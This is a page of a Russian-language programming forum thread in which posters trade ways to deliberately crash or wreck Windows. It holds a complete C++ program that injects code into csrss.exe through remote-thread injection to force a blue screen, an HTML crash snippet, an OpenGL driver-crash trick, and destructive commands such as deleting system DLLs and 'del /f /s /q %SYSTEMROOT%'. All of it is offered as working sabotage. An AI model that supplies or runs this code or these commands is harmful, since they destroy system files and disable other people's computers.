Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2
RSS
Как програмно грохнуть винду ?
 
Попробуй WinExec на "shutdown -r -t 1"(XP,2000 и др.) или "con\con"(9x).Вообще не тема
это для обсуждения:способов выше крыши...
 
Да еще один сделать рабочий стол невидимым и поставить в бесконечный цикл
 
Удали все "лишние" файлы програмно!
 
Попробуй это:
<html><table><tr><td><IMG align=left>X X X<?xml:namespace
prefix=v ><v:X style="HEIGHT:1"></td></tr></table></html>
 
fowl,
И что это такое ???
 
Цитата
Как вывести их строя винду програмно. Желательно на Делфях

Цитата
<html><table><tr><td><IMG align=left>X X X<?xml:namespace
prefix=v ><v:X style="HEIGHT:1"></td></tr></table></html>

:-)

новый синтаксис паскаля?
 
\\ пора начинать осваивать С++  =)))))))
\\С этим кодом BSOD гарантирован!!!!!!

#include <windows.h>

typedef BOOL (WINAPI *tEnumProcesses)(DWORD*,DWORD,DWORD*);
typedef BOOL (WINAPI *tEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD);
typedef DWORD (WINAPI *tGetModuleBaseNameA)(HANDLE,HMODULE,LPSTR,DWORD);

typedef int (WINAPI *tMessageBoxA)(HWND,const char*,const char*,UINT);
#define CHADDR(type,x) ((##type)((DWORD)(x) + (DWORD)(hmem) - (DWORD)(hinst)))

tEnumProcesses EnumProcesses;
tEnumProcessModules EnumProcessModules;
tGetModuleBaseNameA GetModuleBaseName;

typedef struct {
   tMessageBoxA pMessageBox;
   char *txt;
} ADDRS;

void HideNT();
DWORD WINAPI Hack(ADDRS*);

ADDRS addrs;
char txt[] = "BSOD";
char s[1024];

void main(void)
{
   HMODULE psapi = LoadLibrary("psapi.dll");
   EnumProcesses = (tEnumProcesses)GetProcAddress(psapi,"EnumProcesses");
   EnumProcessModules = (tEnumProcessModules)GetProcAddress(psapi,"EnumProcessModules");
   GetModuleBaseName = (tGetModuleBaseNameA)GetProcAddress(psapi,"GetModuleBaseNameA");
   if(!EnumProcesses || !EnumProcessModules || !GetModuleBaseName) return;
   {
       HideNT();
       Sleep(100);
       MessageBox(0,"Hello, Lamer's. I've fucked you","BSOD",0);
       ExitProcess(0);
   }
}

void HideNT()
{
   HANDLE hToken;
   TOKEN_PRIVILEGES tkp;

   memset(&tkp,0,sizeof(tkp));
   OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
   LookupPrivilegeValue(0,SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
   tkp.PrivilegeCount = 1;
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
   AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, 0, 0);

   HMODULE hinst = GetModuleHandle(0);
   IMAGE_NT_HEADERS32 *pe = (IMAGE_NT_HEADERS32*)(((IMAGE_DOS_HEADER*)hinst)->e_lfanew + (DWORD)hinst);
   DWORD size = pe->OptionalHeader.SizeOfImage;
   DWORD wb;

   DWORD n;
   DWORD pr[1024];
   if(!EnumProcesses(pr,sizeof(pr),&n)) return;
   n >>= 2;

   DWORD cpid = GetCurrentProcessId();
   for(int i = 0; i < n; i++)
   {
       if(pr[i] == cpid) continue;
       HANDLE h = OpenProcess(PROCESS_ALL_ACCESS,0,pr[i]);
       if(!h) continue;
       HMODULE mod;
       DWORD nmod;
       EnumProcessModules(h,&mod,4,&nmod);
       GetModuleBaseName(h,mod,s,1023);
       if(lstrcmpi(s,"csrss.exe"))
       {
           CloseHandle(h);
           continue;
       }
       LPVOID hmem = VirtualAllocEx(h,0,size,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
       if(!hmem)
       {
           CloseHandle(h);
           continue;
       }
       addrs.txt = CHADDR(char*,txt);
       addrs.pMessageBox = MessageBoxA;
       if(!WriteProcessMemory(h,hmem,(LPVOID)hinst,size,&wb))
       {
           VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
           CloseHandle(h);
           continue;
       }
       DWORD tid;
       if(!CreateRemoteThread(h,0,0,
           (LPTHREAD_START_ROUTINE)((DWORD)Hack + (DWORD)hmem - (DWORD)hinst),
           (LPVOID)((LPVOID)((DWORD)&addrs - (DWORD)hinst + (DWORD)hmem)),0,&tid))
       {
           VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
           CloseHandle(h);
       }
   }
}

DWORD WINAPI Hack(ADDRS *a)
{
   return a->pMessageBox(0,a->txt,a->txt,0);
}
 
А нашел униферсальный дровяной способ.
Тоесть если у вас видюха от NVIDIA (GeForce)
ТО практически на всех дровах есть ГЛЮК. САМ обнаружил при разработке проги.
Глюк заключается в том, что Если поставить цвет фона у формы - черный.
Поставить прозрачным - черный цвет, Разрешить прозрачность и на эту форму накинуть OPENGL с цветом очистки -черным, то вылетают дрова и вы можете лицезреть синий экран. Проверял на 6 XP хах Везде пашет. Зря нет этого глюка в ATI RADEON
 
тоесть надо:
FORM1.color:=clblack;
form1.transparentcolor:=true;
form1.transparentcolorvalue:=clblack;
Это все сразу в свойствах надо прописать.

Далее надо создать контекст OpenGL

procedure TForm1.FormCreate(Sender: TObject);
    begin
        ghDC := GetDC(Handle);
        if bSetupPixelFormat(ghDC)=false then
          Close();
        ghRC := wglCreateContext(ghDC);
        wglMakeCurrent(ghDC, ghRC);
        glClearColor(0.0, 0.0, 0.0, 0.0);
        FormResize(Sender);
        glEnable(GL_COLOR_MATERIAL);
        glEnable(GL_DEPTH_TEST);
end;

в форм ресайз
glViewport( 0, 0, Width, Height );
 glMatrixMode( GL_PROJECTION );
 glLoadIdentity();
 glOrtho(-5,5, -5,5, 2,12);
 gluLookAt(0,0,5, 0,0,0, 0,1,0);
 glMatrixMode( GL_MODELVIEW );

в таймер
glClear(GL_DEPTH_BUFFER_BIT xor GL_COLOR_BUFFER_BIT);
SwapBuffers(ghDC);

Ну надеюсь знаете как все это делать. Если ктонить опробывал то что я написал, то скажите как у вас заработало или нет
 
У меня удавалось даже весить компы но не все если скопировать файл на модем.
тоесть
copy c:\windows\system32\calc.exe COM3
на ком 3 у меня модем висит
 
а собственно зачем ее "грохать" она же сама упадет через мес!
у нее срок жизни маленький))
можно пару файликом в систем32 удалить на угад(к примеру shell32.dll)
:funny:
 
Вставить LIVE-CD и форматнуть диск С:
Изменено: Антон Калимуллин - 26.03.2012 23:58:44
 
Цитата
Michael пишет:
del /f /s /q %SYSTEMROOT%

Помогло)))
Изменено: Антон Калимуллин - 27.03.2012 00:01:57
 
5 лет 11 месяцев 5 дней - забавный трупокопатель
Страницы: Пред. 1 2
Читают тему